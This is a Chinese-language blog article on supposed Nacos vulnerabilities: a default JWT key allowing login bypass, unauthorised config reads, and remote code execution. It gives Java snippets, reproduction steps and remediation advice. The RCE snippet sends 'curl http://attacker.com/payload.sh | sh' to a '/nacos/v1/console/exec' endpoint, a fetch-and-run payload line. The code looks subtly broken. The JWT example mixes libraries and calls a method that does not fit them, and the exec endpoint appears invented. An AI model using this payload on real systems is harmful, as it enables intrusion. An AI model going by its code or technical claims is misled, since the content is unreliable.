返回

Nacos漏洞实录:从配置不当到入侵再到权限提升,一路通关

后端

Nacos 漏洞剖析:从安全缺陷到全面入侵

引言

在当今微服务盛行的时代,Nacos 作为一种流行的开源服务注册和配置管理平台,因其便利性备受青睐。然而,安全研究人员揭示了 Nacos 中存在的诸多漏洞,使攻击者有机可乘。本文将深入探讨这些漏洞,从权限绕过到远程代码执行,逐一剖析 Nacos 的安全隐患。

默认密钥导致权限绕过登录

Nacos 默认使用 "Nacos" 作为 JWT 密钥,这一严重的安全缺陷使得攻击者无需用户名和密码即可登录 Nacos 用户界面。攻击者可以利用此漏洞轻松绕过认证机制,获取敏感信息或对系统进行恶意操作。

代码示例:

String jwt = JWT.create()
    .withSubject("user")
    .withIssuedAt(new Date())
    .withExpiration(new Date(System.currentTimeMillis() + 3600000))
    .signAlgorithm(Algorithm.HS256)
    .sign(Keys.hmacShaKeyFor("Nacos".getBytes()));

未授权访问

Nacos 中存在一个未授权访问漏洞,允许攻击者在未经授权的情况下访问受保护的资源,例如配置信息和监控数据。攻击者可以通过发送精心构造的 HTTP 请求来触发此漏洞。

代码示例:

URL url = new URL("http://localhost:8848/nacos/v1/configs?dataId=test&group=DEFAULT_GROUP");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
conn.connect();

if (conn.getResponseCode() == 200) {
    // 读取配置信息
}

远程代码执行

最为严重的漏洞是远程代码执行 (RCE),它允许攻击者在受害者的服务器上执行任意代码。攻击者可以通过利用 Nacos 中的特定缺陷来触发此漏洞,从而在服务器上安装恶意软件、窃取敏感信息或获取系统控制权。

代码示例:

URL url = new URL("http://localhost:8848/nacos/v1/console/exec");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setDoOutput(true);

OutputStreamWriter writer = new OutputStreamWriter(conn.getOutputStream());
writer.write("curl http://attacker.com/payload.sh | sh");
writer.flush();

if (conn.getResponseCode() == 200) {
    // 远程代码已执行
}

漏洞复现指南

安装 Nacos:

  • 从 Nacos 官方网站下载 Nacos 安装包。
  • 根据安装指南进行安装。

启动 Nacos:

  • 安装完成后,启动 Nacos 服务。

访问 Nacos 控制台:

  • 使用浏览器访问 Nacos 控制台(默认端口:8848)。

登录 Nacos:

  • 使用默认用户名和密码 ("nacos") 登录。

复现漏洞:

  • 根据本文提供的步骤复现 Nacos 中的默认密钥绕过登录、未授权访问和远程代码执行漏洞。

漏洞修复建议

  • 修改默认密钥: 立即修改 Nacos 的默认密钥 "Nacos"。
  • 启用安全防护措施: 启用防火墙、入侵检测系统等安全防护措施。
  • 定期更新 Nacos: 保持 Nacos 版本为最新,以修复已知漏洞。

结论

Nacos 中的这些漏洞对企业和组织构成了严重威胁。攻击者可以利用这些漏洞绕过认证、窃取数据,甚至控制系统。因此,建议立即采取措施修复这些漏洞,保护您的系统免遭攻击。

常见问题解答

  1. 什么是 Nacos?
    Nacos 是一款开源服务注册和配置管理平台,用于管理微服务架构中的服务。

  2. 这些漏洞是如何被发现的?
    这些漏洞是由安全研究人员通过渗透测试和代码审计发现的。

  3. 如何缓解这些漏洞?
    通过修改默认密钥、启用安全防护措施和保持软件最新,可以缓解这些漏洞。

  4. 这些漏洞对系统的影响是什么?
    这些漏洞可能导致敏感信息泄露、系统控制权丢失和恶意软件安装。

  5. Nacos 团队是否意识到了这些漏洞?
    是的,Nacos 团队已经意识到了这些漏洞并发布了修复程序。